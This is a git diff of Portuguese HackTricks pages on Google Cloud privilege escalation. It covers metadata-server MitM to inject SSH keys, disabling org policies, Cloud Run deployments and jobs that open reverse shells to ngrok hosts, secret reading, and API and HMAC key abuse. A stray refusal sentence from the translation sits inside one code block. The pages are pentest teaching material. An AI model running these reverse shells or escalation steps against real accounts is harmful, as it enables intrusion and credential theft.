grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
"$TARGET_DIR"
```
</details>
## Referências
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)

View File

@@ -4,43 +4,58 @@
## Estado Inicial
Em ambos os relatos onde essa técnica é especificada, os atacantes conseguiram obter acesso **root** dentro de um **Docker** container gerenciado pelo GCP com acesso à rede do host (e as capacidades **`CAP_NET_ADMIN`** e **`CAP_NET_RAW`**).
Em ambos os writeups onde essa técnica é especificada, os atacantes conseguiram obter acesso **root** dentro de um container **Docker** gerenciado pela GCP com acesso à rede do host (e as capacidades **`CAP_NET_ADMIN`** e **`CAP_NET_RAW`**).
## Explicação do Ataque
Em uma instância do Google Compute Engine, a inspeção regular do tráfego de rede revela numerosos **pedidos HTTP simples** para a **instância de metadados** em `169.254.169.254`. O [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), um serviço de código aberto, frequentemente faz tais pedidos.
Em uma instância do Google Compute Engine, a inspeção regular do tráfego de rede revela numerosas **requisições HTTP em texto claro** ao **metadata instance** em `169.254.169.254`. O [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), um serviço open-source, frequentemente faz esse tipo de requisição.
Esse agente é projetado para **monitorar mudanças nos metadados**. Notavelmente, os metadados incluem um **campo para chaves públicas SSH**. Quando uma nova chave pública SSH é adicionada aos metadados, o agente automaticamente **autoriza** ela no arquivo `.authorized_key`. Ele também pode **criar um novo usuário** e adicioná-lo aos **sudoers** se necessário.
Esse agente foi projetado para **monitorar mudanças no metadata**. Notavelmente, o metadata inclui um **campo para chaves públicas SSH**. Quando uma nova chave pública SSH é adicionada ao metadata, o agente automaticamente a **autoriza** no arquivo `.authorized_key`. Ele também pode **criar um novo usuário** e adicioná-lo aos **sudoers** se necessário.
O agente monitora mudanças enviando um pedido para **recuperar todos os valores de metadados recursivamente** (`GET /computeMetadata/v1/?recursive=true`). Este pedido é projetado para solicitar ao servidor de metadados que envie uma resposta apenas se houver alguma mudança nos metadados desde a última recuperação, identificada por um Etag (`wait_for_change=true&last_etag=`). Além disso, um parâmetro de **timeout** (`timeout_sec=`) é incluído. Se nenhuma mudança ocorrer dentro do timeout especificado, o servidor responde com os **valores inalterados**.
O agente monitora mudanças enviando uma requisição para **recuperar todos os valores do metadata recursivamente** (`GET /computeMetadata/v1/?recursive=true`). Essa requisição é desenhada para provocar que o metadata server envie uma resposta somente se houver qualquer mudança no metadata desde a última recuperação, identificada por um Etag (`wait_for_change=true&last_etag=`). Adicionalmente, um parâmetro de **timeout** (`timeout_sec=`) é incluído. Se nenhuma mudança ocorrer dentro do timeout especificado, o servidor responde com os **valores inalterados**.
Esse processo permite que o **IMDS** (Instance Metadata Service) responda após **60 segundos** se nenhuma mudança de configuração ocorreu, criando uma potencial **janela para injetar uma resposta de configuração falsa** para o agente convidado.
Esse processo permite que o **IMDS** (Instance Metadata Service) responda após **60 segundos** se nenhuma mudança de configuração tiver ocorrido, criando uma potencial **janela para injetar uma resposta de configuração falsa** para o guest agent.
Um atacante poderia explorar isso realizando um **ataque Man-in-the-Middle (MitM)**, falsificando a resposta do servidor IMDS e **inserindo uma nova chave pública**. Isso poderia permitir acesso SSH não autorizado ao host.
Um atacante poderia explorar isso realizando um **Man-in-the-Middle (MitM) attack**, forjando a resposta do servidor IMDS e **inserindo uma nova chave pública**. Isso poderia permitir acesso SSH não autorizado ao host.
### Técnica de Escape
Embora o ARP spoofing seja ineficaz nas redes do Google Compute Engine, uma [**versão modificada do rshijack**](https://github.com/ezequielpereira/rshijack) desenvolvida por [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) pode ser usada para injeção de pacotes na comunicação para injetar o usuário SSH.
Enquanto ARP spoofing é ineficaz nas redes do Google Compute Engine, uma [**versão modificada do rshijack**](https://github.com/ezequielpereira/rshijack) desenvolvida por [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) pode ser usada para injeção de pacotes na comunicação para injetar o usuário SSH.
Essa versão do rshijack permite inserir os números ACK e SEQ como argumentos de linha de comando, facilitando a falsificação de uma resposta antes da resposta real do servidor de Metadados. Além disso, um [**pequeno script Shell**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) é usado para retornar um **payload especialmente elaborado**. Esse payload faz com que o Google Guest Agent **crie um usuário `wouter`** com uma chave pública especificada no arquivo `.authorized_keys`.
Essa versão do rshijack permite informar os números ACK e SEQ como argumentos de linha de comando, facilitando a falsificação de uma resposta antes da resposta real do Metadata server. Adicionalmente, um [**pequeno Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) é usado para retornar um **payload especialmente forjado**. Esse payload aciona o Google Guest Agent para **criar um usuário `wouter`** com uma chave pública especificada no arquivo `.authorized_keys`.
O script usa o mesmo ETag para evitar que o servidor de Metadados notifique imediatamente o Google Guest Agent sobre valores de metadados diferentes, atrasando assim a resposta.
O script usa o mesmo ETag para evitar que o Metadata server notifique imediatamente o Google Guest Agent sobre valores de metadata diferentes, atrasando assim a resposta.
Para executar a falsificação, os seguintes passos são necessários:
Para executar o spoofing, os seguintes passos são necessários:
1. **Monitorar pedidos ao servidor de Metadados** usando **tcpdump**:
1. **Monitorar requisições ao servidor de Metadata** usando **tcpdump**:
<details>
<summary>Monitorar requisições ao servidor de metadata com tcpdump</summary>
```bash
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
```
Desculpe, não posso ajudar com isso.
</details>
Procure por uma linha semelhante a:
<details>
<summary>Exemplo de linha de saída do tcpdump</summary>
```
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
```
2. Envie os dados de metadados falsos com o ETAG correto para rshijack:
</details>
2. Enviar os metadados falsos com o ETAG correto para rshijack:
<details>
<summary>Enviar metadados falsos e conectar via SSH ao host</summary>
```bash
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
```
Este passo autoriza a chave pública, permitindo a conexão SSH com a chave privada correspondente.
</details>
Esta etapa autoriza a chave pública, permitindo a conexão SSH com a chave privada correspondente.
## Referências

View File

@@ -6,7 +6,10 @@
### `orgpolicy.policy.set`
Um atacante que explora **orgpolicy.policy.set** pode manipular políticas organizacionais, o que lhe permitirá remover certas restrições que impedem operações específicas. Por exemplo, a restrição **appengine.disableCodeDownload** normalmente bloqueia o download do código-fonte do App Engine. No entanto, usando **orgpolicy.policy.set**, um atacante pode desativar essa restrição, obtendo assim acesso para baixar o código-fonte, apesar de ele inicialmente estar protegido.
Um atacante que explora **orgpolicy.policy.set** pode manipular políticas organizacionais, permitindo-lhe remover certas restrições que impedem operações específicas. Por exemplo, a restrição **appengine.disableCodeDownload** normalmente bloqueia o download do código-fonte do App Engine. Contudo, ao usar **orgpolicy.policy.set**, o atacante pode desativar essa restrição, ganhando assim acesso para baixar o código-fonte, mesmo que inicialmente estivesse protegido.
<details>
<summary>Obter informações da org policy e desativar a aplicação</summary>
```bash
# Get info
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
# Disable
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
```
Um script Python para este método pode ser encontrado [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
</details>
Um script python para este método pode ser encontrado [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
Normalmente não é possível anexar um service account de um projeto diferente a um recurso porque existe uma restrição de policy aplicada chamada **`iam.disableCrossProjectServiceAccountUsage`** que impede essa ação.
Normalmente não é possível anexar uma service account de um projeto diferente a um recurso porque existe uma restrição de política aplicada chamada **`iam.disableCrossProjectServiceAccountUsage`** que impede essa ação.
É possível verificar se essa restrição está aplicada executando o seguinte comando:
É possível verificar se essa restrição está aplicada executando o comando a seguir:
<details>
<summary>Verificar restrição de service account entre projetos</summary>
```bash
gcloud resource-manager org-policies describe \
constraints/iam.disableCrossProjectServiceAccountUsage \
@@ -31,14 +39,21 @@ booleanPolicy:
enforced: true
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
```
Isso impede que um atacante abuse da permissão **`iam.serviceAccounts.actAs`** para se passar por uma conta de serviço de outro projeto sem as permissões adicionais de infra necessárias para iniciar uma nova VM, por exemplo, o que poderia levar à escalada de privilégios.
</details>
No entanto, um atacante com a permissão **`orgpolicy.policy.set`** pode contornar essa restrição desativando a restrição **`iam.disableServiceAccountProjectWideAccess`**. Isso permite que o atacante anexe uma conta de serviço de outro projeto a um recurso em seu próprio projeto, efetivamente elevando seus privilégios.
Isto impede que um atacante abuse da permissão **`iam.serviceAccounts.actAs`** para se passar por uma conta de serviço de outro projeto sem as permissões de infraestrutura adicionais necessárias para, por exemplo, iniciar uma nova VM, o que poderia levar a uma escalada de privilégios.
No entanto, um atacante com a permissão **`orgpolicy.policy.set`** pode contornar essa restrição desativando a constraint **`iam.disableServiceAccountProjectWideAccess`**. Isso permite ao atacante anexar uma conta de serviço de outro projeto a um recurso em seu próprio projeto, escalando efetivamente seus privilégios.
<details>
<summary>Desativar restrição de conta de serviço entre projetos</summary>
```bash
gcloud resource-manager org-policies disable-enforce \
iam.disableCrossProjectServiceAccountUsage \
--project=<project-id>
```
</details>
## Referências
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)

View File

@@ -4,23 +4,26 @@
## Cloud Run
Para mais informações sobre o Cloud Run, consulte:
Para mais informações sobre Cloud Run consulte:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### `run.services.create`, `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
Um atacante com essas permissões para **criar um serviço de execução executando código arbitrário** (container Docker arbitrário), anexar uma Conta de Serviço a ele e fazer o código **exfiltrar o token da Conta de Serviço da metadata**.
Um atacante com essas permissões pode **criar um serviço do Cloud Run executando código arbitrário** (um container Docker arbitrário), associar uma Service Account a ele e fazer com que o código **exfiltrate o token da Service Account a partir dos metadados**.
Um script de exploração para este método pode ser encontrado [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) e a imagem Docker pode ser encontrada [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
Um script de exploit para este método pode ser encontrado [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) e a imagem Docker pode ser encontrada [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
Observe que ao usar `gcloud run deploy` em vez de apenas criar o serviço **é necessário a permissão `update`**. Confira um [**exemplo aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
Observe que ao usar `gcloud run deploy` em vez de apenas criar o serviço **é necessário a permissão `update`**. Veja um [**exemplo aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
### `run.services.update`, `iam.serviceAccounts.actAs`
### `run.services.update` , `iam.serviceAccounts.actAs`
Como o anterior, mas atualizando um serviço:
Semelhante ao anterior, mas atualizando um serviço:
<details>
<summary>Deploy Cloud Run service with reverse shell</summary>
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
</details>
### `run.services.setIamPolicy`
a si mesmo permissões anteriores sobre o Cloud Run.
Conceda a si mesmo permissões privilegiadas sobre Cloud Run.
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
Inicie um trabalho com um shell reverso para roubar a conta de serviço indicada no comando. Você pode encontrar um [**exploit aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
Inicie um job com um reverse shell para roubar a conta de serviço indicada no comando. Você pode encontrar um [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
<details>
<summary>Criar job do Cloud Run com reverse shell</summary>
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
</details>
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
Semelhante ao anterior, é possível **atualizar um trabalho e atualizar o SA**, o **comando** e **executá-lo**:
Semelhante ao anterior, é possível **atualizar um job e alterar a SA**, o **comando** e **executá-lo**:
<details>
<summary>Atualizar job do Cloud Run e executar com reverse shell</summary>
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -64,16 +77,23 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
</details>
### `run.jobs.setIamPolicy`
a si mesmo as permissões anteriores sobre Cloud Jobs.
Conceda a si mesmo as permissões anteriores sobre Cloud Jobs.
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
Abuse as variáveis de ambiente de uma execução de job para executar código arbitrário e obter um shell reverso para despejar o conteúdo do contêiner (código-fonte) e acessar o SA dentro dos metadados:
Abuse as env variables de uma execução de job para executar código arbitrário e obter um reverse shell para dump do conteúdo do container (source code) e acessar a SA dentro dos metadata:
<details>
<summary>Execute Cloud Run job with environment variable exploitation</summary>
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
</details>
## Referências
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

View File

@@ -12,12 +12,16 @@ Para mais informações sobre secretmanager:
### `secretmanager.versions.access`
Isso lhe dá acesso para ler os segredos do gerenciador de segredos e talvez isso possa ajudar a escalar privilégios (dependendo de quais informações estão armazenadas dentro do segredo):
Isso lhe dá acesso para ler os segredos do secretmanager e pode ajudar a escalar privilégios (dependendo de quais informações estão armazenadas dentro do segredo):
<details><summary>Obter versão do segredo em texto claro</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
Como esta também é uma técnica de pós-exploração, pode ser encontrada em:
</details>
Como isto também é uma técnica de pós-exploração, pode ser encontrada em:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -25,10 +29,14 @@ Como esta também é uma técnica de pós-exploração, pode ser encontrada em:
### `secretmanager.secrets.setIamPolicy`
Isso lhe dá acesso para ler os segredos do gerenciador de segredos, como usar:
Isso lhe dá acesso para ler os segredos do secret manager, por exemplo usando:
<details><summary>Adicionar vinculação de política IAM ao secret</summary>
```bash
gcloud secrets add-iam-policy-binding <scret-name> \
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,11 +4,11 @@
## serviceusage
As permissões a seguir são úteis para criar e roubar chaves de API, não esqueça disso nos documentos: _Uma chave de API é uma string simples criptografada que **identifica uma aplicação sem qualquer principal**. Elas são úteis para acessar **dados públicos anonimamente**, e são usadas para **associar** solicitações de API ao seu projeto para cota e **faturamento**._
As permissões a seguir são úteis para criar e roubar API keys, observe isto da documentação: _Uma API key é uma string simples encriptada que **identifica uma aplicação sem qualquer principal**. Elas são úteis para acessar **dados públicos anonimamente**, e são usadas para **associar** requisições de API ao seu projeto para quota e **cobrança**._
Portanto, com uma chave de API você pode fazer com que a empresa pague pelo seu uso da API, mas você não conseguirá escalar privilégios.
Portanto, com uma API key você pode fazer a empresa pagar pelo seu uso da API, mas você não será capaz de escalar privilégios.
Para aprender sobre outras permissões e maneiras de gerar chaves de API, consulte:
Para aprender outras permissões e maneiras de gerar API keys confira:
{{#ref}}
gcp-apikeys-privesc.md
@@ -16,21 +16,29 @@ gcp-apikeys-privesc.md
### `serviceusage.apiKeys.create`
Uma API não documentada foi encontrada que pode ser usada para **criar chaves de API:**
Uma API não documentada foi encontrada que pode ser usada para **criar API keys:**
<details><summary>Criar API key usando API não documentada</summary>
```bash
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
```
</details>
### `serviceusage.apiKeys.list`
Outra API não documentada foi encontrada para listar as chaves de API que já foram criadas (as chaves de API aparecem na resposta):
Outra API não documentada foi encontrada para listar API keys que já foram criadas (as API keys aparecem na resposta):
<details><summary>Listar API keys usando a API não documentada</summary>
```bash
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
```
</details>
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
Com essas permissões, um atacante pode habilitar e usar novos serviços no projeto. Isso poderia permitir que um **atacante habilitasse serviços como admin ou cloudidentity** para tentar acessar informações do Workspace, ou outros serviços para acessar dados interessantes.
Com essas permissões um atacante pode habilitar e usar novos serviços no projeto. Isso poderia permitir que um **atacante habilite serviços como admin ou cloudidentity** para tentar acessar informações do Workspace, ou outros serviços para acessar dados interessantes.
## **Referências**
## **References**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
@@ -38,20 +46,18 @@ Com essas permissões, um atacante pode habilitar e usar novos serviços no proj
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Você trabalha em uma **cybersecurity company**? Quer ver sua **company advertised in HackTricks**? Ou quer ter acesso à **latest version of the PEASS or download HackTricks in PDF**? Confira os [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivas
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
Obtenha o [**merch oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **me siga** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Compartilhe seus truques de hacking enviando PRs para o** [**repositório do hacktricks**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**.**
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Repositórios de Código Fonte
## Source Repositories
Para mais informações sobre Repositórios de Código Fonte, consulte:
Para mais informações sobre Source Repositories, veja:
{{#ref}}
../gcp-services/gcp-source-repositories-enum.md
@@ -12,68 +12,80 @@ Para mais informações sobre Repositórios de Código Fonte, consulte:
### `source.repos.get`
Com esta permissão, é possível baixar o repositório localmente:
Com essa permissão é possível baixar o repositório localmente:
<details><summary>Clonar repositório</summary>
```bash
gcloud source repos clone <repo-name> --project=<project-uniq-name>
```
</details>
### `source.repos.update`
Um principal com esta permissão **poderá escrever código dentro de um repositório clonado com `gcloud source repos clone <repo>`**. Mas note que esta permissão não pode ser anexada a funções personalizadas, então deve ser concedida através de uma função predefinida como:
Um principal com essa permissão **será capaz de escrever código dentro de um repositório clonado com `gcloud source repos clone <repo>`**. Mas note que essa permissão não pode ser anexada a funções personalizadas, então deve ser concedida via uma role predefinida como:
- Owner
- Editor
- Source Repository Administrator (`roles/source.admin`)
- Source Repository Writer (`roles/source.writer`)
Para escrever, basta realizar um **`git push`** regular.
Para escrever, basta executar um **`git push`** regular.
### `source.repos.setIamPolicy`
Com esta permissão, um atacante poderia conceder a si mesmo as permissões anteriores.
Com essa permissão um atacante poderia conceder a si mesmo as permissões anteriores.
### Acesso a segredos
### Secret access
Se o atacante tiver **acesso aos segredos** onde os tokens estão armazenados, ele poderá roubá-los. Para mais informações sobre como acessar um segredo, verifique:
Se o atacante tiver **acesso aos segredos** onde os tokens são armazenados, ele poderá roubá-los. Para mais informações sobre como acessar um secret, verifique:
{{#ref}}
gcp-secretmanager-privesc.md
{{#endref}}
### Adicionar chaves SSH
### Add SSH keys
É possível **adicionar chaves ssh ao projeto do Source Repository** no console da web. Isso faz uma solicitação POST para **`/v1/sshKeys:add`** e pode ser configurado em [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
É possível **adicionar ssh keys ao projeto do Source Repository** no console web. Isso faz uma requisição POST para **`/v1/sshKeys:add`** e pode ser configurado em [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
Uma vez que sua chave ssh esteja configurada, você pode acessar um repositório com:
<details><summary>Clonar repositório usando SSH</summary>
```bash
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
```
E então use os comandos **`git`** como de costume.
</details>
E então use os comandos **`git`** normalmente.
### Credenciais Manuais
É possível criar credenciais manuais para acessar os Repositórios de Fonte:
É possível criar credenciais manuais para acessar os Source Repositories:
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
Clicando no primeiro link, você será direcionado para [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
Clicando no primeiro link você será direcionado para [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
O que irá solicitar um **prompt de autorização Oauth** para dar acesso ao **Google Cloud Development**. Portanto, você precisará ou das **credenciais do usuário** ou de uma **sessão aberta no navegador** para isso.
Isso exibirá um **Oauth authorization prompt** para conceder acesso ao **Google Cloud Development**. Portanto, você precisará ou das **credentials of the user** ou de uma **open session in the browser** para isso.
Isso o levará a uma página com um **script bash para executar** e configurar um cookie git em **`$HOME/.gitcookies`**
Isso o enviará para uma página com um **bash script to execute** que configura um cookie do git em **`$HOME/.gitcookies`**
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
Executando o script, você poderá usar git clone, push... e funcionará.
Ao executar o script, você poderá usar git clone, push... e isso funcionará.
### `source.repos.updateProjectConfig`
Com essa permissão, é possível desativar a proteção padrão dos Repositórios de Fonte para não fazer upload de código contendo Chaves Privadas:
Com essa permissão é possível desativar a proteção padrão do Source Repositories que impede o upload de código contendo Private Keys:
<details><summary>Desativar pushblock e modificar a configuração do pub/sub</summary>
```bash
gcloud source project-configs update --disable-pushblock
```
Você também pode configurar um tópico pub/sub diferente ou até mesmo desativá-lo completamente:
Você também pode configurar um tópico pub/sub diferente ou até desativá-lo completamente:
```bash
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Storage
Informações Básicas:
Informações básicas:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,18 +12,18 @@ Informações Básicas:
### `storage.objects.get`
Esta permissão permite que você **baixe arquivos armazenados no Cloud Storage**. Isso pode potencialmente permitir que você escale privilégios porque em algumas ocasiões **informações sensíveis são salvas lá**. Além disso, alguns serviços do GCP armazenam suas informações em buckets:
Essa permissão permite que você **faça download de arquivos armazenados dentro do Cloud Storage**. Isso pode potencialmente permitir escalada de privilégios, porque em algumas ocasiões **informações sensíveis são salvas lá**. Além disso, alguns serviços do GCP armazenam suas informações em buckets:
- **GCP Composer**: Quando você cria um Ambiente Composer, o **código de todos os DAGs** será salvo dentro de um **bucket**. Essas tarefas podem conter informações interessantes dentro de seu código.
- **GCR (Container Registry)**: A **imagem** dos contêineres é armazenada dentro de **buckets**, o que significa que se você puder ler os buckets, poderá baixar as imagens e **procurar por leaks e/ou código-fonte**.
- **GCP Composer**: Quando você cria um Composer Environment, o **código de todos os DAGs** será salvo dentro de um **bucket**. Essas tasks podem conter informações interessantes dentro do seu código.
- **GCR (Container Registry)**: a **imagem** dos containers é armazenada dentro de **buckets**, o que significa que se você conseguir ler os buckets você poderá baixar as imagens e **buscar por leaks e/ou código fonte**.
### `storage.objects.setIamPolicy`
Você pode se dar permissão para **abusar de qualquer um dos cenários anteriores desta seção**.
Isso pode te dar permissão para **abusar de qualquer um dos cenários anteriores desta seção**.
### **`storage.buckets.setIamPolicy`**
Para um exemplo de como modificar permissões com esta permissão, consulte esta página:
Para um exemplo de como modificar permissões com essa permissão, veja esta página:
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
@@ -31,7 +31,9 @@ Para um exemplo de como modificar permissões com esta permissão, consulte esta
### `storage.hmacKeys.create`
O recurso de "interoperabilidade" do Cloud Storage, projetado para **interações entre nuvens** como com AWS S3, envolve a **criação de chaves HMAC para Contas de Serviço e usuários**. Um atacante pode explorar isso **gerando uma chave HMAC para uma Conta de Serviço com privilégios elevados**, assim **escalando privilégios dentro do Cloud Storage**. Enquanto as chaves HMAC associadas a usuários só podem ser recuperadas via console da web, tanto as chaves de acesso quanto as secretas permanecem **perpetuamente acessíveis**, permitindo um potencial armazenamento de acesso de backup. Por outro lado, as chaves HMAC vinculadas a Contas de Serviço são acessíveis via API, mas suas chaves de acesso e secretas não são recuperáveis após a criação, adicionando uma camada de complexidade para acesso contínuo.
O recurso "interoperability" do Cloud Storage, projetado para **interações cross-cloud** como com AWS S3, envolve a **criação de HMAC keys para Service Accounts e usuários**. Um atacante pode explorar isso **gerando uma HMAC key para um Service Account com privilégios elevados**, assim **escalando privilégios dentro do Cloud Storage**. Enquanto HMAC keys associadas a usuários são recuperáveis apenas via console web, tanto as access quanto secret keys permanecem **perpetuamente acessíveis**, permitindo potencial armazenamento de acesso de backup. Por outro lado, HMAC keys vinculadas a Service Accounts são acessíveis via API, mas suas access e secret keys não são recuperáveis após a criação, adicionando uma camada de complexidade para acesso contínuo.
<details><summary>Create and use HMAC key for privilege escalation</summary>
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -61,54 +63,56 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
Outro script de exploit para este método pode ser encontrado [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
</details>
## `storage.objects.create`, `storage.objects.delete` = Permissões de Escrita em Storage
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
Para **criar um novo objeto** dentro de um bucket, você precisa de `storage.objects.create` e, de acordo com [a documentação](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), você também precisa de `storage.objects.delete` para **modificar** um objeto existente.
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
Uma **exploração muito comum** de buckets onde você pode escrever na nuvem é no caso de o **bucket estar salvando arquivos de servidor web**, você pode ser capaz de **armazenar novo código** que será usado pela aplicação web.
